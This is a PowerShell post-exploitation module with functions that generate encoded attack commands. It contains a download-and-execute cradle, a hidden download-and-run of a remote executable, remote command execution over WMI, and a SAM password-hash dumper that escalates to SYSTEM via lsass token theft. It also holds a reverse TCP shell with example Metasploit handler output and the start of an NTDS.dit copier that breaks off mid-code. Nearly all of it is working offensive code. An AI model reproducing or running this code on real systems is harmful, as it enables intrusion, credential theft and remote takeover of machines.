PostExploitation/PostExploitation.psm1
<# .SYNOPSIS Converts a given PowerShell command string in to an Encoded Base64 command. .DESCRIPTION Converts a given PowerShell command string in to an Encoded Base64 command. .EXAMPLE Encoding a command PS C:\> ConvertTo-Base64Command -command "write-host 'hello world'" dwByAGkAdABlAC0AaABvAHMAdAAgACcAaABlAGwAbABvACAAdwBvAHIAbABkACcA PS C:\> powershell.exe -encodedcommand dwByAGkAdABlAC0AaABvAHMAdAAgACcAaABlAGwAbABvACAAdwBvAHIAbABkACcA hello world #> function ConvertTo-PostBase64Command { [CmdletBinding()] Param ( # Command to Encode [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, ParameterSetName="command", Position=0)] [String]$Command, # PowerShell Script to Encode [Parameter(Mandatory=$true, ParameterSetName="file", Position=0)] [ValidateScript({Test-Path $_})] [String]$File ) Begin { } Process { switch ($PsCmdlet.ParameterSetName) { "command" {$contents = $Command} "file" {$contents = [system.io.file]::ReadAllText($File)} } $bytes = [Text.Encoding]::Unicode.GetBytes($contents) $encodedCommand = [Convert]::ToBase64String($bytes) # If to long tell the user if ($encodedCommand.Length -gt 8100) { Write-Warning "Encoded command may be to long to run vian -EncodedCommand of Powershell.exe" } } End { $encodedCommand } } <# .SYNOPSIS Will compress a script for use in Post-Exploitation with Powershell.exe .DESCRIPTION Will compress a given script and return a command that can be used with PowerShell.exe -command <command> #> function Compress-PostScript { [CmdletBinding()] Param ( # Script file to compress. [Parameter(Mandatory=$true, ValueFromPipeline=$true, ParameterSetName="file", Position=0)] [ValidateScript({Test-Path $_})] $File, # Command to Encode [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, ParameterSetName="command", Position=0)] [String]$Command ) Begin { } Process { # Get Content of Script switch ($PsCmdlet.ParameterSetName) { "command" {$contents = $Command} "file" {$contents = [system.io.file]::ReadAllText($File)} } # Compress Script $ms = New-Object IO.MemoryStream $action = [IO.Compression.CompressionMode]::Compress $cs = New-Object IO.Compression.DeflateStream ($ms,$action) $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII) $contents | ForEach-Object {$sw.WriteLine($_)} $sw.Close() # Base64 encode stream $code = [Convert]::ToBase64String($ms.ToArray()) $command = "Invoke-Expression `$(New-Object IO.StreamReader (" + "`$(New-Object IO.Compression.DeflateStream (" + "`$(New-Object IO.MemoryStream (,"+ "`$([Convert]::FromBase64String('$code')))), " + "[IO.Compression.CompressionMode]::Decompress)),"+ " [Text.Encoding]::ASCII)).ReadToEnd();" # If to long tell the user if ($command.Length -gt 8100) { Write-Warning "Compresses Script may be to long to run via -EncodedCommand of Powershell.exe" } } End { $command } } <# .SYNOPSIS Generates an encoded command that will download a given PowerShell Script and execute it on a target system given to powershell.exe -encodedcommand <command>. .DESCRIPTION Generates an encoded command that will download a given PowerShell Script and execute it on a target system given to powershell.exe -encodedcommand <command>. #> function New-PostDownloadExecuteScript { [CmdletBinding()] Param ( # Param1 help description [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=0)] [string]$Url ) Begin { } Process { $scriptcode = "`$webClient = New-Object System.Net.WebClient;"+ "`$proxy = [System.Net.WebRequest]::GetSystemWebProxy();"+ "`$proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;"+ "`$webClient.Proxy = `$proxy;"+ "`$payload_url = '$Url';"+ "Write-Host '$url';"+ "`$command = `$webClient.DownloadString(`$payload_url);"+ "Invoke-Expression `$command " $bytes = [Text.Encoding]::Unicode.GetBytes($scriptcode) $encodedCommand = [Convert]::ToBase64String($bytes) } End { $encodedCommand } } <# .SYNOPSIS Generates an encoded command that will download a given Hex Byte Array String and execute it on a target system given to powershell.exe -encodedcommand <command>. .DESCRIPTION Generates an encoded command that will download a given Hex Byte Array String and execute it on a target system given to powershell.exe -encodedcommand <command>. #> function New-PostDownloadExecutePE { [CmdletBinding()] Param ( # URL from where the encoded file will be downloaded from. [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=0)] [string]$Url, # Path on target where the file will be decoded to and executed, default is the targets TEMP. [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$false, Position=1)] [string]$Path = '$env:TEMP' ) Begin { $rand = New-Object System.Random $PayName = $rand.Next() } Process { $part1 = "`$payload_url = `'$($Url)`'`n `$Path2exe = `'$($Path)`'`n `$payname = `'$($PayName)`'`n" $scriptcode = @' $webClient = New-Object System.Net.WebClient $payloadhex = $webClient.DownloadString($payload_url) [Byte[]] $temp = $payloadhex -split ' ' [System.IO.File]::WriteAllBytes("$($Path2exe)\$($payname).exe", $temp) Start-Process -FilePath "$($Path2exe)\$($payname).exe" -WindowStyle Hidden '@ $ScriptCode = $part1 + $scriptcode $bytes = [Text.Encoding]::Unicode.GetBytes($ScriptCode) $encodedCommand = [Convert]::ToBase64String($bytes) } End { $encodedCommand #$scriptcode } } <# .SYNOPSIS Executes a command on a remote host using WMI .DESCRIPTION Executes a command on a remote host using WMI #> function Start-PostRemoteProcess { [CmdletBinding()] Param ( [parameter(ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] [string]$Computername="$env:COMPUTERNAME", [Parameter(Mandatory=$false)] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [parameter(ValueFromPipeline=$true)] [string]$Command ) Begin { } Process { $wmicmd = Get-WmiObject -List win32_process -ComputerName $Computername -Credential $Credential $wmicmd.Create($Command) } End { } } <# .SYNOPSIS Generate a command for dumping hashes from a Windows System Registry .DESCRIPTION Generate a command for dumping hashes from a Windows System PowerShell.exe -command Command must be executed as SYSTEM if ran as administrator it will privilage escalate to SYSTEM and execute a hashdump by reading the hashes from the registry. .EXAMPLE $enc = Get-PostHashdumpScript C:\PS>powershell.exe -command $enc Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d4afe1d16ae931b74c59d7e1c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Carlos:1001:aad3b435b51404eeaad3b435b51404ee:62096e5ed83a10cf61cf79cc36738519::: HomeGroupUser$:1003:aad3b435b51404eeaad3b435b51404ee:951b271a4b7d1dd7a25e3d9c9f87341e::: Executes the compressed command generated by the function and dumps the windows hashes from the registry. .NOTES PowerDump script by Kathy Peters, Josh Kelley (winfang) and Dave Kennedy (ReL1K) Privilage Escalation from http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx #> function Get-PostHashdumpScript { [CmdletBinding()] Param ( [validateset("Encoded","Script")] [string]$Output = "Encoded" ) $script = @' $sign = @" using System; using System.Runtime.InteropServices; public static class priv { [DllImport("shell32.dll")] public static extern bool IsUserAnAdmin(); } "@ $adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru function ElevatePrivs { $signature = @" [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct TokPriv1Luid { public int Count; public long Luid; public int Attr; } public const int SE_PRIVILEGE_ENABLED = 0x00000002; public const int TOKEN_QUERY = 0x00000008; public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; public const UInt32 TOKEN_DUPLICATE = 0x0002; public const UInt32 TOKEN_IMPERSONATE = 0x0004; public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID); public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege"; public const int ANYSIZE_ARRAY = 1; [StructLayout(LayoutKind.Sequential)] public struct LUID { public UInt32 LowPart; public UInt32 HighPart; } [StructLayout(LayoutKind.Sequential)] public struct LUID_AND_ATTRIBUTES { public LUID Luid; public UInt32 Attributes; } public struct TOKEN_PRIVILEGES { public UInt32 PrivilegeCount; [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)] public LUID_AND_ATTRIBUTES [] Privileges; } [DllImport("advapi32.dll", SetLastError=true)] public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); [DllImport("advapi32.dll", SetLastError=true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool SetThreadToken( IntPtr PHThread, IntPtr Token ); [DllImport("advapi32.dll", SetLastError=true)] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); [DllImport("advapi32.dll", SetLastError = true)] public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); [DllImport("kernel32.dll", ExactSpelling = true)] public static extern IntPtr GetCurrentProcess(); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); "@ $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent()) if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) { Write-Warning "Run the Command as an Administrator" Break } Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv $adjPriv = [AdjPriv.AdjPriv] [long]$luid = 0 $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid $tokPriv1Luid.Count = 1 $tokPriv1Luid.Luid = $luid $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED $retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) [IntPtr]$htoken = [IntPtr]::Zero $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken) $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES $retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) if(-not($retVal)) { [System.Runtime.InteropServices.marshal]::GetLastWin32Error() Break } $process = (Get-Process -Name lsass) #$process.name [IntPtr]$hlsasstoken = [IntPtr]::Zero $retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken) [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero $retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle) $retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle) if(-not($retVal)) { [System.Runtime.InteropServices.marshal]::GetLastWin32Error() } } function LoadApi { $oldErrorAction = $global:ErrorActionPreference; $global:ErrorActionPreference = "SilentlyContinue"; $test = [PowerDump.Native]; $global:ErrorActionPreference = $oldErrorAction; if ($test) { # already loaded return; } $code = @" using System; using System.Security.Cryptography; using System.Runtime.InteropServices; using System.Text; namespace PowerDump { public class Native { [DllImport("advapi32.dll", CharSet = CharSet.Auto)] public static extern int RegOpenKeyEx( int hKey, string subKey, int ulOptions, int samDesired, out int hkResult); [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")] extern public static int RegEnumKeyEx( int hkey, int index, StringBuilder lpName, ref int lpcbName, int reserved, StringBuilder lpClass, ref int lpcbClass, out long lpftLastWriteTime); [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)] extern public static int RegQueryInfoKey( int hkey, StringBuilder lpClass, ref int lpcbClass, int lpReserved, out int lpcSubKeys, out int lpcbMaxSubKeyLen, out int lpcbMaxClassLen, out int lpcValues, out int lpcbMaxValueNameLen, out int lpcbMaxValueLen, out int lpcbSecurityDescriptor, IntPtr lpftLastWriteTime); [DllImport("advapi32.dll", SetLastError=true)] public static extern int RegCloseKey( int hKey); } } // end namespace PowerDump public class Shift { public static int Right(int x, int count) { return x >> count; } public static uint Right(uint x, int count) { return x >> count; } public static long Right(long x, int count) { return x >> count; } public static ulong Right(ulong x, int count) { return x >> count; } public static int Left(int x, int count) { return x << count; } public static uint Left(uint x, int count) { return x << count; } public static long Left(long x, int count) { return x << count; } public static ulong Left(ulong x, int count) { return x << count; } } "@ $provider = New-Object Microsoft.CSharp.CSharpCodeProvider $dllName = [PsObject].Assembly.Location $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters $assemblies = @("System.dll", $dllName) $compilerParameters.ReferencedAssemblies.AddRange($assemblies) $compilerParameters.GenerateInMemory = $true $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code) if($compilerResults.Errors.Count -gt 0) { $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) } } } $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0"); $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0"); $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee); $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0); $odd_parity = @( 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 ); function sid_to_key($sid) { $s1 = @(); $s1 += [char]($sid -band 0xFF); $s1 += [char]([Shift]::Right($sid,8) -band 0xFF); $s1 += [char]([Shift]::Right($sid,16) -band 0xFF); $s1 += [char]([Shift]::Right($sid,24) -band 0xFF); $s1 += $s1[0]; $s1 += $s1[1]; $s1 += $s1[2]; $s2 = @(); $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2]; $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2]; return ,((str_to_key $s1),(str_to_key $s2)); } function str_to_key($s) { $key = @(); $key += [Shift]::Right([int]($s[0]), 1 ); $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2); $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3); $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4); $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5); $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6); $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7); $key += $([int]($s[6]) -band 0x7F); 0..7 | %{ $key[$_] = [Shift]::Left($key[$_], 1); $key[$_] = $odd_parity[$key[$_]]; } return ,$key; } function NewRC4([byte[]]$key) { return new-object Object | Add-Member NoteProperty key $key -PassThru | Add-Member NoteProperty S $null -PassThru | Add-Member ScriptMethod init { if (-not $this.S) { [byte[]]$this.S = 0..255; 0..255 | % -begin{[long]$j=0;}{ $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length; $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp; } } } -PassThru | Add-Member ScriptMethod "encrypt" { $data = $args[0]; $this.init(); $outbuf = new-object byte[] $($data.Length); $S2 = $this.S[0..$this.S.Length]; 0..$($data.Length-1) | % -begin{$i=0;$j=0;} { $i = ($i+1) % $S2.Length; $j = ($j + $S2[$i]) % $S2.Length; $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp; $a = $data[$_]; $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; $outbuf[$_] = ($a -bxor $b); } return ,$outbuf; } -PassThru } function des_encrypt([byte[]]$data, [byte[]]$key) { return ,(des_transform $data $key $true) } function des_decrypt([byte[]]$data, [byte[]]$key) { return ,(des_transform $data $key $false) } function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt) { $des = new-object Security.Cryptography.DESCryptoServiceProvider; $des.Mode = [Security.Cryptography.CipherMode]::ECB; $des.Padding = [Security.Cryptography.PaddingMode]::None; $des.Key = $key; $des.IV = $key; $transform = $null; if ($doEncrypt) {$transform = $des.CreateEncryptor();} else{$transform = $des.CreateDecryptor();} $result = $transform.TransformFinalBlock($data, 0, $data.Length); return ,$result; } function Get-RegKeyClass([string]$key, [string]$subkey) { switch ($Key) { "HKCR" { $nKey = 0x80000000} #HK Classes Root "HKCU" { $nKey = 0x80000001} #HK Current User "HKLM" { $nKey = 0x80000002} #HK Local Machine "HKU" { $nKey = 0x80000003} #HK Users "HKCC" { $nKey = 0x80000005} #HK Current Config default { throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC" } } $KEYQUERYVALUE = 0x1; $KEYREAD = 0x19; $KEYALLACCESS = 0x3F; $result = ""; [int]$hkey=0 if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey)) { $classVal = New-Object Text.Stringbuilder 1024 [int]$len = 1024 if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null, [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0)) { $result = $classVal.ToString() } else { Write-Error "RegQueryInfoKey failed"; } [PowerDump.Native]::RegCloseKey($hkey) | Out-Null } else { Write-Error "Cannot open key"; } return $result; } function Get-BootKey { $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"})); $b = new-object byte[] $($s.Length/2); 0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)} $b2 = new-object byte[] 16; 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++} return ,$b2; } function Get-HBootKey { param([byte[]]$bootkey); $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0"); $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0"); $k = Get-Item HKLM:\SAM\SAM\Domains\Account; if (-not $k) {return $null} [byte[]]$F = $k.GetValue("F"); if (-not $F) {return $null} $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum); $rc4 = NewRC4 $rc4key; return ,($rc4.encrypt($F[0x80..0x9F])); } function Get-UserName([byte[]]$V) { if (-not $V) {return $null}; $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC; $len = [BitConverter]::ToInt32($V[0x10..0x13],0); return [Text.Encoding]::Unicode.GetString($V, $offset, $len); } function Get-UserHashes($u, [byte[]]$hbootkey) { [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null; if ($u.HashOffset + 0x28 -lt $u.V.Length) { $lm_hash_offset = $u.HashOffset + 4; $nt_hash_offset = $u.HashOffset + 8 + 0x10; $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)]; $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; } elseif ($u.HashOffset + 0x14 -lt $u.V.Length) { $nt_hash_offset = $u.HashOffset + 8; $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; } return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey); } function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey) { [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt; # LM Hash if ($enc_lm_hash) { $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword; } # NT Hash if ($enc_nt_hash) { $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword; } return ,($lmhash,$nthash) } function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr) { $deskeys = sid_to_key $rid; $md5 = [Security.Cryptography.MD5]::Create(); $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr); $rc4 = NewRC4 $rc4_key; $obfkey = $rc4.encrypt($enc_hash); $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) + (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]); return ,$hash; } function Get-UserKeys { ls HKLM:\SAM\SAM\Domains\Account\Users | where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} | Add-Member AliasProperty KeyName PSChildName -PassThru | Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru | Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru | Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru | Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru } function DumpHashes { LoadApi $bootkey = Get-BootKey; $hbootKey = Get-HBootKey $bootkey; Get-UserKeys | %{ $hashes = Get-UserHashes $_ $hBootKey; "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid, [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(), [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()); } } if ([priv]::IsUserAnAdmin()) { if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) { DumpHashes } else { ElevatePrivs if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) { DumpHashes } } } else { Write-Error "Administrator or System privelages necessary." } '@ switch ($Output) { 'Encoded' {Compress-PostScript -Command $script} 'Script' {$script} } } <# .SYNOPSIS Generates an encoded command to create a Reverse TCP Shell .DESCRIPTION Generates an encoded command to create a Reverse TCP Shell given and IP and Port for a listenning connection. .EXAMPLE -------- Attacker -------- PS C:\> $enc = Get-PostReverShell -LHOST 192.168.1.104 -LPORT 4444 PS C:\> Start-PostRemoteProcess -Computername 192.168.1.80 -Credential (Get-Credential) -Command "powershell.exe -encodedcommand $enc" cmdlet Get-Credential at command pipeline position 1 Supply values for the following parameters: __GENUS : 2 __CLASS : __PARAMETERS __SUPERCLASS : __DYNASTY : __PARAMETERS __RELPATH : __PROPERTY_COUNT : 2 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ProcessId : 3052 ReturnValue : 0 PSComputerName : -------- Metasploit -------- msf> use exploit/multi/handler msf exploit(handler) > set LHOST 192.168.1.104 LHOST => 192.168.1.104 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) > set ExitOnSession false ExitOnSession => false msf exploit(handler) > exploit -j [*] Exploit running as background job. [-] Handler failed to bind to 192.168.1.104:4444 [*] Started reverse handler on 0.0.0.0:4444 msf exploit(handler) > [*] Starting the payload handler... [*] Command shell session 1 opened (192.168.1.104:4444 -> 192.168.1.80:54137) at 2013-06-03 20:36:29 -0400 .NOTES Reverseshell script is from the Social Engineeting Toolkit https://github.com/trustedsec/social-engineer-toolkit http://www.trustsec.com #> function Get-PostReverTCPShell { [CmdletBinding()] Param ( [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=0)] $LHOST, [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=1)] [int] $LPORT, [validateset("Encoded","Script")] [string]$Output = "Encoded" ) Begin { } Process { $part1 = "`$address =`'$LHOST`'; `$port = `'$LPORT`';`n" $part2 = @' function cleanup { if ($client.Connected -eq $true) {$client.Close()} if ($process.ExitCode -ne $null) {$process.Close()} exit} $client = New-Object system.net.sockets.tcpclient $client.connect($address,$port) $stream = $client.GetStream() $networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize $process = New-Object System.Diagnostics.Process $process.StartInfo.FileName = $env:ComSpec $process.StartInfo.RedirectStandardInput = 1 $process.StartInfo.RedirectStandardOutput = 1 $process.StartInfo.UseShellExecute = 0 $process.Start() $inputstream = $process.StandardInput $outputstream = $process.StandardOutput Start-Sleep 1 $encoding = new-object System.Text.AsciiEncoding while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())} $stream.Write($encoding.GetBytes($out),0,$out.Length) $out = $null; $done = $false; $testing = 0; while (-not $done) { if ($client.Connected -ne $true) {cleanup} $pos = 0; $i = 1 while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos) $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0) { $string = $encoding.GetString($networkbuffer,0,$pos) $inputstream.write($string) start-sleep 1 if ($process.ExitCode -ne $null) {cleanup} else { $out = $encoding.GetString($outputstream.Read()) while($outputstream.Peek() -ne -1){ $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}} $stream.Write($encoding.GetBytes($out),0,$out.length) $out = $null $string = $null}} else {cleanup}} '@ $script = $part1 + $part2 switch ($Output) { 'Encoded' {ConvertTo-PostBase64Command -Command $script} 'Script' {$script} } } End { } } <# .SYNOPSIS Copies the NTDS.dit file from a Domain Controller using Volume Shadow Copy .DESCRIPTION Copies the NTDS.dit file from a Domain Controller using Volume Shadow Copy. It can generate either a compressed encoded command or a script that can be modiefied depending on the needs for post exploitation. It will copy the file by default to $env:TEMP. #> function Get-PostCopyNTDS { [CmdletBinding()] Param ( [validateset("Encoded","Script")] [string]$Output = "Encoded" ) $script = @' $sign = @" using System; using System.Runtime.InteropServices; public static class priv { [DllImport("shell32.dll")] public static extern bool IsUserAnAdmin(); } "@ $adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru function Get-SystemToken { $signature = @" [StructLayout(LayoutKind.Sequential, Pack = 1)] public struct TokPriv1Luid { public int Count; public long Luid; public int Attr; } public const int SE_PRIVILEGE_ENABLED = 0x00000002; public const int TOKEN_QUERY = 0x00000008; public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; public const UInt32 TOKEN_DUPLICATE = 0x0002; public const UInt32 TOKEN_IMPERSONATE = 0x0004; public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID); public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege"; public const int ANYSIZE_ARRAY = 1; [StructLayout(LayoutKind.Sequential)] public struct LUID { public UInt32 LowPart; public UInt32 HighPart; } [StructLayout(LayoutKind.Sequential)] public struct LUID_AND_ATTRIBUTES { public LUID Luid; public UInt32 Attributes; } public struct TOKEN_PRIVILEGES { public UInt32 PrivilegeCount; [MarshalAs(UnmanagedType.ByValArray, 